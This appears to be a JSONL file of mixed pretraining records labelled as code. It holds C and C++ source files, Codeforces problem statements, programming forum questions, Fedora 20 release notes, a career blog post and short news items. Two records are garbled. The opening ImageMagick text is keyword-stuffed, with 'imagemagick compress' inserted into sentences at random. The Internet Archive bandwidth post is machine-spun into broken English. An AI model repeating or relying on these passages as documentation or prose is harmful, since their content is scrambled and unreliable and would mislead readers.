counts for every white pixel in the binary edge image imagemagick compress every possible orientation for angles from 0 imagemagick compress in 1 deg increments and distance from the center of the image to the corners in 1 px increments.\nAny color that matches within -fuzz color distance of the given color argument, connected to that ‘seed point’ will imagemagick compress replaced with the current -fill color. In this way, imagemagick compress can obtain pieces of other windows that overlap the specified window, and more importantly, you can capture menus or other popups that are independent windows but appear over the specified window.\nThough imagemagick compress is a lot faster, as it avoids all the filter processing of the image. Text is any UTF-8 encoded character sequence.\nThe quality-changing process is pretty good at imsgemagick space while maintaining apparent image quality. The argument to the -evaluate log typically is specified between and 10, depending upon the amount of detail that imagemagick compress wants to bring imagemagick compress in the spectrum. The skewX and skewY primitives skew them with respect to the origin of the main image or the region.\nIf this imagemagick compress is omitted, the JPEG library will comress its own default values. It then computes a new x,y centroid from those coordinates and a new mean.\nIt also does imagemagick compress work well for diagrams or cartoon like images. Larger imagemagick compress produce more visible detail. You can specify as many of these components as needed in any order e. This can also be used to convert a plain grayscale image into a one using the gradient of colors specified. The start and end points produced are then joined with a line segment and the resulting segment of an ellipse is filled. For example, if the value is 1, the effective period is simply the QuantumRange ; but imagemagick compress the value is 2, then the effective period is the half the QuantumRange.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1188, "token_count_with_eod": 1189, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n** EPITECH PROJECT, 2020\n** my_ftp\n** File description:\n** TODO: add description\n*/\n\n#include \"generic_list.h\"\n\nbool list_add_elem_at_back(list_t *front_ptr, void *elem)\n{\n    node_t *new = list_create_node(elem);\n    node_t *temp = NULL;\n\n    if (!new) return (false);\n    if (list_is_empty(*front_ptr)) {\n        *front_ptr = new;\n        return (true);\n    }\n    for (temp = *front_ptr; temp->next; temp = temp->next);\n    temp->next = new;\n    return (true);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "When Xellos was doing a practice course in university, he once had to measure the intensity of an effect that slowly approached equilibrium. A good way to determine the equilibrium intensity would be choosing a sufficiently large number of consecutive data points that seems as constant as possible and taking their average. Of course, with the usual sizes of data, it's nothing challenging — but why not make a similar programming contest problem while we're at it?\n\nYou're given a sequence of n data points a1, ..., an. There aren't any big jumps between consecutive data points — for each 1 ≤ i < n, it's guaranteed that |ai + 1 - ai| ≤ 1.\n\nA range [l, r] of data points is said to be almost constant if the difference between the largest and the smallest value in that range is at most 1. Formally, let M be the maximum and m the minimum value of ai for l ≤ i ≤ r; the range [l, r] is almost constant if M - m ≤ 1.\n\nFind the length of the longest almost constant range.", "source": "cpt_codeforces", "language": "en", "token_count": 227, "token_count_with_eod": 228, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*===================================================================\n\nBlueBerry Platform\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http://www.mitk.org for details.\n\n===================================================================*/\n\n#ifndef IWORKBENCHPARTSITE_H_\n#define IWORKBENCHPARTSITE_H_\n\n\n#include \"berryIWorkbenchSite.h\"\n\nnamespace berry {\n\nstruct IWorkbenchPart;\n\n/**\n * \\ingroup org_blueberry_ui_qt\n *\n * The primary interface between a workbench part and the workbench.\n * <p>\n * This interface is not intended to be implemented or extended by clients.\n * </p>\n * @noimplement This interface is not intended to be implemented by clients.\n */\nstruct BERRY_UI_QT IWorkbenchPartSite : public IWorkbenchSite\n{\n\n  berryObjectMacro(berry::IWorkbenchPartSite, IWorkbenchSite)\n\n  ~IWorkbenchPartSite() override;\n\n  /**\n   * Returns the part registry extension id for this workbench site's part.\n   * <p>\n   * The name comes from the <code>id</code> attribute in the configuration\n   * element.\n   * </p>\n   *\n   * @return the registry extension id\n   */\n  virtual QString GetId() const = 0;\n\n  /**\n   * Returns the part associated with this site\n   *\n   * @return the part associated with this site\n   */\n  virtual SmartPointer<IWorkbenchPart> GetPart() = 0;\n\n  /**\n   * Returns the unique identifier of the plug-in that defines this workbench\n   * site's part.\n   *\n   * @return the unique identifier of the declaring plug-in\n   */\n  virtual QString GetPluginId() const = 0;\n\n  /**\n   * Returns the registered name for this workbench site's part.\n   * <p>\n   * The name comes from the <code>name</code> attribute in the configuration\n   * element.\n   * </p>\n   *\n   * @return the part name\n   */\n  virtual QString GetRegisteredName() const = 0;\n\n};\n\n} // namespace berry\n\n\n#endif /*IWORKBENCHPARTSITE_H_*/", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Let's say you're trying to fit a model to a dataset that includes categorical variables, group (A or B) and treatment (1, 2, 3 or 4).\nIn R, your model formula would be DV ~ group * treatment (DV stands for dependent variable) and your model output will look like this:\n(intercept) [...] groupB [...] treatment2 [...] treatment3 [...] treatment4 [...] groupB:treatment2 [...] groupB:treatment3 [...] groupB:treatment4 [...]\nMy question is how to interpret this kind of output. Below is what I believe is right for the interpretation of the main effects, and what puzzles me about the interaction parameters.\nThis the reference value, i.e. for treatment 1 in group A.\nThis is the difference between group A and group B for treatment 1 only.\nThis is the difference between treatment 1 and treatment 2, within group A only. It indeed still refers to the intercept value. Same logic for the two following estimates (\"treatment3\" and \"treatment4\").\nHere is where I get puzzled. Is this testing if the difference between treatment1 and treatment2 is the same in groupB compared to groupA, or is it testing if if the difference between groupA and groupB is the same for treatment1 compared to treatment2.\nI thought this question would be very basic, but I went through several R books with no luck and found inconsistent answers on here (see How to interpret 2-way and 3-way interaction in lmer? for support for the first idea and Interpreting the regression output from a mixed model when interactions between categorical variables are included for the other way).\nIf that matters, I'm working with the glmer function of the lme4 package.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "One Must Fall: Battlegrounds Summary\n22 February 2004 | By BCVlad\nWell here I am again with a new game to review. From the box and info given, I saw I have some robot fighting ahead. After ripping open the box and loading the game I seem somewhat immersed into a Saturday morning cartoon.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 70, "token_count_with_eod": 71, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Fedora 20 offers the newest version of Enlightenment. After over a decade of upstream development, the Enlightenment project has released the E17 desktop shell. a window manager and supporting suite of libraries.\nEnlightenment can be configured as a fast, spartan window manager or as a visually appealing desktop environment with ample eye candy.\nEnlightenment can be installed with the command\nyum install @enlightenment and used by choosing it at login.\nTo learn more, read http://www.enlightenment.org/p.php?p=about&l=en\nFedora 20 features GNOME 3.10. This latest version of the GNOME desktop will have a number of new applications and features:\n- New Feature: Fine grained scrolling when dragging the scroll bar handle, or scrolling while holding the shift key.\n- New feature: Support for login and authentication with Smart Cards.\n- New feature: Header bars: Header bars merge title bars and toolbars into a single element, giving more screen space to window content and improving presentation of application controls.\n- Improved Magnifier with caret tracking, press F7 to activate caret.\n- New Feature: Lock screen background customization\n- New feature: Geolocation: A new geolocation framework allows features like automatic timezone updates when travelling and location detection in\n- New feature:\nGNOME Documentssupport for OwnCloud\n- New feature: Drag and drop files between your computer and a\nBoxesguest. Windows guests will need http://spice-space.org/download/windows/spice-guest-tools/ installed, and linux guests will need an updated version of spice-vdagent.\n- New Feature:\nBoxessupport for importing filesystem images\n- Improved user interface for \"Comtacts\"\n- Improved automatic scaling for high pixel density displays.\n- Improved application selection in the shell Overview\n- Flikr integration with GNOME Online Accounts allows access to Flikr content in GNOME Photos.\n- Improved, integrated system status menu.\ngnome-tweak-tool, with improved design, extension integration, and expanded functionality.\ngnome-maps, A simple map application for the GNOME Desktop.\ngnome-music, a streamlined application for playing and sharing music.\nGNOME 3.10 also offers a technical preview of GNOME support for wayland. There is also preliminary support in this release for running GNOME-shell as a Wayland compositor, though Wayland may not be in the default packages for the final Fedora 20 release\nGNOME in Fedora will offer a new, visually appealing application for browsing and installing applications. GNOME Software shows information relevant to users, such as descriptions, screenshots, reviews and more.\nIn support of this functionality, Fedora contributors have combined their efforts to offer assistance and patches to upstream projects to improve their presentation in Software. Applications describe themselves to\nSoftware and other supporting tools using the AppData Specification\nThe older package management GUI, gpk-application, is still available.\nTo learn more about GNOME 3.10, check:\n- Upstream release notes: https://help.gnome.org/misc/release-notes/3.10/\n- New applications: https://help.gnome.org/misc/release-notes/3.10/more-apps.html\n- User Experience updates: https://help.gnome.org/misc/release-notes/3.10/more-core-ux.html\n- Internationalization notes: https://help.gnome.org/misc/release-notes/3.10/i18n.html\n- Sysadmin/Developer Notes: https://help.gnome.org/misc/release-notes/3.10/developers.html\nKDE Plasma Workspaces 4.11\nKDE Plasma Workspaces 4.11 is a long term release of the popular, full featured desktop environment. Major changes have been made to user experience, personal information management, and performance aspects of the platform.\n- Taskbar has been ported to QtQuick , providing more consistent and fluent behavior.\n- Battery widget now supports keyboard brightness, and displays status for multiple batteries in peripherals, such as in mice and keyboards.\n- Notification popups now have a configure button, allowing customization of the type of notification displayed.\n- Kmix, the KDE sound mixer, performs better and more stably, in addition to adding media player controls to the widget\n- Improved performance of Kwin, the KDE window manager.\n- Improved user interface design in Kwallet.\n- Kolourpaint, a simple painting application, now supports the WebP image format.\n- PDF viewer Okular adds review tools and undo/redo support for annotations and forms.\n- The JuK audio player and tagger adds support for playback and metadata editing of Ogg Opus format files.\n- Improved Kontact Suite, including better archiving, scheduled mail sending, simple message filtering interface, better notifications, and scam detection in Kmail.\n- Numerous optimizations to Dolphin reduce memory usage by up to 30%.\n- Better indexing and various improvements to Nemopuk make searches up to 6x faster, adds indexing for ODF, docx and other document formats, and improves backup and restoration functionality.\n- Note: Users upgrading to new versions of Nemopuk should expect their database to be automatically reindexed and upgraded. The conversion will consume more system resources than normal but will only occur on the first login after upgrading.\nSDDM as Display Manager\nThe KDE Desktop environment will use SDDM instead of KDM as the designated display and login manager. SDDM is the successor to KDM, and adds support for QtQuick themes.\nSome features may initially be missing from SDDM, such as VNC or multiseat support However, the SDDM development community is very active and regular additions to functionality are expected.\nKDM, the previous display manager, is still available from the Fedora repositories. Install it with the command\nyum install kdm and enable with the command\nsystemctl enable --force kdm.service\nPlasma-nm Network applet\nKDE in Fedora 20 includes Plasma-nm, a new applet for network management. It supports user-friendly creation and editing of all connection types from NetworkManager, including bridges, bonds, and VPNs, with a modern and intuitive interface.\nIn Fedora 20 the MATE desktop Bluetooth applet suffers compatibility issues with Bluez5. Users needing Bluetooth functionality should install the", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1324, "token_count_with_eod": 1325, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "- Security is a load of bullsh*t. There's nothing stopping someone from compiling their lua code with a standalone lua executable, and then loading it in via a widget. Just because so far nobody has bothered to do it and put it all in plain text, doesn't mean it cant be done.\nIt can't do much more than block Spring using an infinite loop or allocate infinite memory or so, whereas a native AI has full access to everything the user has access to, so it can wipe all your files, install trojans, etc.\nUpdates to the AI require a re-release of the entire game and a version bump\nNo reason a game would require a full re-release on an update to a Lua AI. The only real disadvantages here are:\n- It's impossible to make an AI that, when installed, is only a single file. Not much native AIs have this property either, though (only KAIK?).\n- It has a worse user experience when the AI is separate (Need to pick the AI mutator for the game to be able to add the AI...)\nBundling with an archive is anticompetitive\nA half decent content developer packages his mod up in an installer, thus negating the advantage of bundling AIs in the archive\nSo both Lua AIs and native AIs are equally anticompetitive for half decent content developers. Additionally, when a native AI is bundled you need full re-release on an update to the native AI too. (except when it is self updating, but I've yet to see that implemented [in a safe and cross-platform way])\nA third major advantage of Lua AIs is that they need no compiling and work on all platforms on which Spring works. This doesn't apply to native AIs.\nI agree with the other points, although IMO adapting to custom game rules and implementing APIs and stuff other than those which apply to the target game(s) may be a waste of time if the goal is simply to make a reasonable AI in the shortest amount of time possible.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 421, "token_count_with_eod": 422, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Once Vasya played bricks. All the bricks in the set had regular cubical shape. Vasya vas a talented architect, however the tower he built kept falling apart.\n\nLet us consider the building process. Vasya takes a brick and puts it on top of the already built tower so that the sides of the brick are parallel to the sides of the bricks he has already used. Let's introduce a Cartesian coordinate system on the horizontal plane, where Vasya puts the first brick. Then the projection of brick number i on the plane is a square with sides parallel to the axes of coordinates with opposite corners in points (xi, 1, yi, 1) and (xi, 2, yi, 2). The bricks are cast from homogeneous plastic and the weight of a brick a × a × a is a3 grams.\n\nIt is guaranteed that Vasya puts any brick except the first one on the previous one, that is the area of intersection of the upper side of the previous brick and the lower side of the next brick is always positive.\n\nWe (Vasya included) live in a normal world where the laws of physical statics work. And that is why, perhaps, if we put yet another brick, the tower will collapse under its own weight. Vasya puts the cubes consecutively one on top of the other until at least one cube loses the balance and falls down. If it happens, Vasya gets upset and stops the construction. Print the number of bricks in the maximal stable tower, that is the maximal number m satisfying the condition that all the towers consisting of bricks 1, 2, ..., k for every integer k from 1 to m remain stable.", "source": "cpt_codeforces", "language": "en", "token_count": 352, "token_count_with_eod": 353, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "In the last Monday of the January they held the first meeting of industry applications society (IEEE IAS) in Jordan that organized by:(IEEE YP Jordan ),(IEEE IAS Jordan section) and (IEEE PUST).\nThe meeting include some issues ,the most important is :\n1_ introduction by Dr.Ghaith abanda about IEEE jordan section .\n2_ Presentation what is IAS for student chapter by Dr.peter Magyar.\n3_ Technical workshop about smart Grid represented by prof. Wie jin lee.\nThe meeting gave the opportunity for student branch to veiw some of them achievements ,and submitted an award for previous society chair Tareq shnawer to thank hem for the hard work to development them society (PES/IAS).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 156, "token_count_with_eod": 157, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’m in a group called /dev/color, which is a professional development group for black engineers. I’ve been a member for the past three years, and I’m kicking off my fourth year in the program. Membership has impacted me in numerous ways, but I want to highlight one thing I’ve learned that is applicable beyond this specific network:\nAsk for help.\n/dev/color has a private Slack network, and in that network, there’s a channel called #askforhelp. It’s exactly what it sounds like. But it took me a while to being getting the most out of it. Turns out, it’s not so simple for me to ask for help.\nGoing it alone\nI’ve come to realize that I have internalized a “figure it out myself” mindset. This probably derives from not feeling safe being publicly incorrect during my childhood, which in turn might come from anxiety and environment.\nI grew up a black kid in a overwhelming white community. My family taught me that being black meant working twice as hard for opportunities and making a strong first impression to overcome the implicit assumption that I’m not as qualified—also known as prejudice. That taught me to come into new spaces knowing answers. Being informed and prepared has served me well as I have navigated adult life.\nBut sometimes, the strengths we lean on become maladaptive in certain situations. In my case, I advanced past the point where I could succeed on pure intuition. When I first became a engineering manager, I struggled with the transition. I came into my role with problems conceptualized and solutions planned. I led from the front, like a hero engineer, instead of focusing on setting my teammates up to drive the work forward. Deliverables went out on time, but my team wasn’t happy. I found myself having to work my way out of a rut.\nChanging it up\nFortunately, /dev/color came to New York shortly thereafter. I joined and began finding ways to leverage the organization to help me in my career. I realized I didn’t have figure out everything on my own. Receive and applying wisdom from the group helped me come to grips with my new job.\nFast forward to the beginning of my second year in /dev/color. As both professional and personal development tasks came up, I realized I was doing too much in my own head before simply posting my issue to #askforhelp. Take, for example, the task of getting my household financial situation in shape. I floundered on my own for a year simply trying to figure out where to start before realizing I should reach out to my network for advice. I did so on January 22, 2018, which yielded a couple book recommendations that unblocked my progress. By February 11, I had the first entry in the Our Financial Planning Voyage series up, and I was off and running. At the end of the year, I felt like my family was in command of our financial plan. Who knows how much value was unlocked by simply asking for help.\nIt finally dawned on me that I’m programmed to ask for help as my last option. I realized I had more work to do to break out of this habit. I needed to change my mindset.\nI now consciously try to override my tendency towards solitary struggle. I still do my independent research before I ask a question. After all, people help those who help themselves. But, I’m already planning to post my question in advance. My research is meant to help me craft a better question and be a good participant in the subsequent discussion. So there’s actually a little bit of nuance to the technique.\n/dev/color is one of several networks I belong to that serves this purpose for me. These networks center around all sorts of identities, affiliations, and shared experiences. Shared contexts help create the emotional safety to publicly not know something. I’m in networks of shared former employers and networks of more-or-less random chains of acquaintances. This technique is applicable anywhere. If you’re brave, you might even have success asking in a public space, like Twitter.\nPassing it on\nMy “ask for help” technique has helped me get better information faster, but it also has side benefits. First of all, it makes these networks stronger. I have noticed a virtuous cycle of help requested and given the more I participate. I realized I was contributing to an environment of psychological safety and knowledge sharing. Secondly, I’ve noticed that good questions lead to valuable discussions, with follow-up questions from others and productive tangents. Often, a lot of people end up getting helped from one initial question.\nThis all might seem obvious to some folks, but if you’re anything like me, maybe it’s actually a pretty big shift. It’s part of a broader shift I’m making towards being comfortable in vulnerability, but that’s a topic for another day.\nI hope you, too, begin to find better answers, quicker.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1010, "token_count_with_eod": 1011, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I need some help to find some fossil records of Meteorus (Braconidae, Euphorinae). 1 year ago I found a nice list of fossil hymenoptera on the web, unfortunately I can't find it again. The list showed species, age, area of location etc...\nDoes anybody know something about this or maybe where else I can find this info?\nI need fossil info to do some age analyses.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 90, "token_count_with_eod": 91, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Vertical Scroll on Android is rare. https://www.tutlane.com/tutorial/android/android-scrollview-horizontal-vertical-with-examples has animation of one such scroll and Microsoft Outlook web application (old style) is another example. Both cases show that scrollbar is so narrow that it is impossible to use it for actual scrolling with this, it seems to me that these scrollbars are for indication only? So, is it true, that Android vertical scroll can be for the information only?\nBut how to handle the situation when the content is grid that is full with actionaly content? I can not just touch any spot in this content, becuase then field become editable, the popup menus or selection lists opens, etc. I have thought about adding very wide scrollbar to implement scorlling, but apparently this could be very strange. I can preserve the information narrow scroll, but I feel that I should be some non-hot are in my content that can be used for the touching and scrolling only.\nNote, that my uses cases involves predetermined length list, no infinite scrolling.\nIs all this really true about Android scroll UIX?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 226, "token_count_with_eod": 227, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Re: RFS: picocli/3.5.2-1 [ITP] -- mighty tiny CLI library for JVM applications\n> I'm willing to sponsor the picocli package since this is a dependency of\n> JUnit 5.\nThank you for sponsoring picocli package!\nI received notification with URL:\nhttps://ftp-master.debian.org/new/picocli_3.5.2-1.html. I see, that\nmaintainer was changed to Debian Java Maintainers (no problem with\nthat). Is it standard for Java packages to have maintainer set to\nDebian Java Maintainers? Or, is it standard for commonly used Java\n> Do you plan to work on other Java packages after picocli?\nYes, I would like to. I have already following in mind:\n* Google Auto (for AutoValue): https://github.com/google/auto\n* gradle-apt-plugin: https://github.com/tbroyer/gradle-apt-plugin\n* my work-in-progress Java CLI tool: https://github.com/kravemir/svg-labels\nOr, do you have something else, specific, in mind?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 245, "token_count_with_eod": 246, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ilya the Lion wants to help all his friends with passing exams. They need to solve the following problem to pass the IT exam.\n\nYou've got string s = s1s2... sn (n is the length of the string), consisting only of characters \".\" and \"#\" and m queries. Each query is described by a pair of integers li, ri (1 ≤ li < ri ≤ n). The answer to the query li, ri is the number of such integers i (li ≤ i < ri), that si = si + 1.\n\nIlya the Lion wants to help his friends but is there anyone to help him? Help Ilya, solve the problem.", "source": "cpt_codeforces", "language": "en", "token_count": 137, "token_count_with_eod": 138, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Play YouTube Videos\nUse an embedded player to play videos directly in your app and customize the playback experience.\nAdd YouTube Data\nLet users search YouTube content, upload videos, create and manage playlists, and more.\nAnalytics & Reporting\nUnderstand your users and how they interact with your channel and your videos.\nEnable users to subscribe to your YouTube channel with one click.\nSchedule live YouTube broadcasts and manage your broadcast video streams.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 88, "token_count_with_eod": 89, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "SAKE Lab member Fotis Kokkoras and final year student Thanos Pigadas participated in a hackathon event on open data exploitation, organized by Innovathens. They presented the web version of fuelGR, a family of applications built around the fuelGR API, which in turn is fed with prices of the Greek fuel market, provided by http://www.fuelprices.gr/. The application ranked at first place and received exceptional comments.\nThe Greek pages of the site are now available.\nPlease, feel free to provide feedback through the contact form.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 112, "token_count_with_eod": 113, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have never used any form of version control. The reason is because I just can’t figure out how to use one. Many times I have said to myself I need to be using some kind of version control, I try to set it up, fail, then continue to not use one. Last time I spent about an entire week researching SVN before I finally gave up. Now that voice in the back of my head is once again telling me I need to setup some kind of version control.\nSo first of all… which is the easiest to set up?\nIs there a book/article/tutorial that takes you from having no knowledge at all to quickly being able to have one up and running on your website?\nI would really like to be using one.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This application can easily manage the map to \"Place where it wants to go\".\nGoogleMap to the place where it wants to open the screen and to go one-touch opens it soon.\nIn addition, the place can be taught the friend by transmitting the place with mail.\nAt the time of meeting Time when place where I am is taught\nand delicious restaurant, etc.\nWhen the place is taught the person, it is convenient.\nAbout the registration of the place where it wants to go\nIt selects it from three below pushing an upper \"Add New Map\" button.\n\"Map\": It is possible to register by doing the tap on the Google map screen.\n\"here from GPS\": The present place is registered.\n\"write directly\": Coordinates are personally input and registered.\nAbout the edit of E-mail and data\nIt is long push in the screen of the start,\nthe following can be done.\n\"mail\" The place can be transmitted with mail.\n\"delete\" Data is deleted.\n\"edit name\" It is name of data revokable.\nDifference with pay version\n20 maps can be registered.\nThe advertisement is inserted.\n↓↓↓ webPage ↓↓↓", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 249, "token_count_with_eod": 250, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am Julien Diener, currently living in Paris. This is my personal website\nDownload my CV\nI have been coding since I am a kid. After a B.Sc. in Math at Heriot-Watt University (Edinburgh),\nI got a Ph.D. in Computer Graphics at INPG (Grenoble). I then worked in several projects, with physicists, biologists,\nand now with quants (the math part of finance).\nSo, on one hand, I think I am a good coder with strong math skill. And I consider my-self a Full-Stack Hacker:\n- Full-Stack because I make decisions based on all involved components and efficiency of the development process\n- Hacker because I like to find and take advantages from the subtleties-that-matter\nAnd on the other hand, during my career working with many different people and topics, I became particularly proficient for\nthe design of numerical workflow in complex, interdisciplinary, projects. Also, I developed a strong managerial sense\nbased on two main principles:\n- Honesty: to put it simply, the expectation of all collaborators, and clients, should be clear\n- Short cycles and agility: every communication, development and test steps should be as short, frequent and\nautomatized as possible. Agile methods are here to help us.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 270, "token_count_with_eod": 271, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/** @file\n  Policy definition for PCIe Config Block\n\n  Copyright (c) 2018 - 2019, Intel Corporation. All rights reserved.<BR>\n  SPDX-License-Identifier: BSD-2-Clause-Patent\n\n**/\n\n#ifndef __PCIE_PREMEM_CONFIG_H__\n#define __PCIE_PREMEM_CONFIG_H__\n\n#include <GpioConfig.h>\n\n///\n/// SA GPIO Data Structure\n///\ntypedef struct {\n  GPIO_PAD      GpioPad;        ///< Offset 0: GPIO Pad\n  UINT8         Value;          ///< Offset 4: GPIO Value\n  UINT8         Rsvd0[3];       ///< Offset 5: Reserved for 4 bytes alignment\n  UINT32        Active  :1;     ///< Offset 8: 0=Active Low; 1=Active High\n  UINT32        RsvdBits0:31;\n} SA_GPIO_INFO_PCIE;\n\n///\n/// SA Board PEG GPIO Info\n///\ntypedef struct {\n  SA_GPIO_INFO_PCIE  SaPeg0ResetGpio;    ///< Offset 0:  PEG0 PERST# GPIO assigned, must be a PCH GPIO pin\n  SA_GPIO_INFO_PCIE  SaPeg3ResetGpio;    ///< Offset 12: PEG3 PERST# GPIO assigned, must be a PCH GPIO pin\n  BOOLEAN            GpioSupport;        ///< Offset 24: 1=Supported; 0=Not Supported\n  UINT8              Rsvd0[3];           ///< Offset 25: Reserved for 4 bytes alignment\n} PEG_GPIO_DATA;\n\n#endif /* __PCIE_PREMEM_CONFIG_H__ */", "source": "cpt_stack_code", "language": "code", "token_count": 363, "token_count_with_eod": 364, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Ehab loves number theory, but for some reason he hates the number $$$x$$$. Given an array $$$a$$$, find the length of its longest subarray such that the sum of its elements isn't divisible by $$$x$$$, or determine that such subarray doesn't exist.\n\nAn array $$$a$$$ is a subarray of an array $$$b$$$ if $$$a$$$ can be obtained from $$$b$$$ by deletion of several (possibly, zero or all) elements from the beginning and several (possibly, zero or all) elements from the end.", "source": "cpt_codeforces", "language": "en", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Final week the Web Archive upped our bandwidth skill 30%, in step with increased usage and increased monetary toughen. Thanks.\nThis is our outbound bandwidth graph that has several tales to relate…\nA year within the past, usage change into 30Gbits/sec. At the starting of this year, we were at 40Gbits/sec, and we were dealing with it. That is 13 Petabytes of downloads per 30 days. This has served tens of millions of customers to materials within the wayback machine, these listening 78 RPMs, these making an attempt digitized books, streaming from the TV archive, and heaps others. We were about the 250th most smartly-appreciated web device basically based fully totally on Alexa Web.\nThen Covid-19 hit and quiz rocketed to 50Gbits/sec and overran our network infrastructure’s potential to accommodate it. A lot so, our network statistics probes had diagram back collecting data (hence the white spots within the graphs).\nWe supplied a 2d router with novel line cards, and received it put in and running (and none of this is easy during a plague), and increased our skill from 47Gbits/sec height to 62Gbits/sec height. And we’re dealing with it better, but it completely continues to be consumed.\nAlexa Web now says we’re about the 160th most smartly-appreciated web device.\nSo now we’re making an attempt on the next steps up, that can also preserve extra instruments and is extra wizardry, but we’re engaged on it.\nThanks as soon as more for the toughen, and within the occasion you wish to donate extra, please perceive it will originate collections to attend tens of millions. https://archive.org/donate", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Becoming a better software developer involves a combination of technical skills, personal growth, and professional development. Here are ten tips to help you improve as a software developer:\n1. Continuously Learn and Stay Updated: Software development is a rapidly evolving field. Stay up to date with the latest technologies, programming languages, frameworks, and best practices. Read books, participate in online courses, attend conferences, and follow industry blogs and forums.\n2. Practice Regularly: Coding is a skill that improves with practice. Dedicate regular time to coding exercises, personal projects, and challenges. By writing code consistently, you'll become more efficient, learn new techniques, and reinforce your knowledge.\n3. Seek Feedback and Collaborate: Actively seek feedback from peers, mentors, and code reviews. Collaboration helps you learn from others and exposes you to different perspectives and approaches. Engage in discussions, participate in open-source projects, and be open to constructive criticism.\n4. Master Fundamentals: Solidify your understanding of core computer science concepts like algorithms, data structures, and design patterns. Strong fundamentals enable you to solve complex problems efficiently and build scalable, robust software.\n5. Write Clean and Maintainable Code: Strive for clean, readable, and maintainable code. Follow coding standards, adhere to naming conventions, and use appropriate design patterns. Write modular code, utilize comments effectively, and focus on code simplicity and clarity.\n6. Embrace Testing: Write tests for your code to ensure it functions as intended and to catch bugs early. Familiarize yourself with different testing methodologies such as unit tests, integration tests, and automated testing frameworks. Writing testable code improves code quality and reduces future issues.\n7. Version Control: Learn and use a version control system like Git. Version control helps track changes, collaborate with others, and revert to previous versions if necessary. Understand branching and merging strategies to manage code effectively.\n8. Improve Problem-Solving Skills: Software development involves solving problems. Sharpen your problem-solving abilities by practicing algorithmic challenges, puzzles, and logical reasoning exercises. Develop the ability to break down complex problems into smaller, manageable steps.\n9. Communication and Collaboration: Effective communication and collaboration are vital skills for software developers. Clear communication with team members, stakeholders, and clients helps to align expectations, gather requirements, and work together efficiently. Develop interpersonal skills and actively participate in team discussions and meetings.\n10. Embrace Continuous Improvement: Software development is a continuous learning process. Embrace a growth mindset and strive for constant improvement. Reflect on your work, identify areas for growth, and seek opportunities to expand your knowledge and skill set.\nRemember, becoming a better software developer is a journey that requires consistent effort and dedication. Embrace new challenges, learn from failures, and stay passionate about your craft.\nbetter Software,Programmer,Top 10,Tips & Tricks,", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 588, "token_count_with_eod": 589, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Polycarp has guessed three positive integers $$$a$$$, $$$b$$$ and $$$c$$$. He keeps these numbers in secret, but he writes down four numbers on a board in arbitrary order — their pairwise sums (three numbers) and sum of all three numbers (one number). So, there are four numbers on a board in random order: $$$a+b$$$, $$$a+c$$$, $$$b+c$$$ and $$$a+b+c$$$.\n\nYou have to guess three numbers $$$a$$$, $$$b$$$ and $$$c$$$ using given numbers. Print three guessed integers in any order.\n\nPay attention that some given numbers $$$a$$$, $$$b$$$ and $$$c$$$ can be equal (it is also possible that $$$a=b=c$$$).", "source": "cpt_codeforces", "language": "en", "token_count": 154, "token_count_with_eod": 155, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "ISRO Ahmedabad office just informed me that the four episodes of the info-tainment series Digital Funda that I had written back in 2002-03 has already been aired on Doordarshan. And I missed them! Anyway, they at least saw the light of the day. It was a simple animated program explaining the little kids how the computer works. Better late than never.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 82, "token_count_with_eod": 83, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
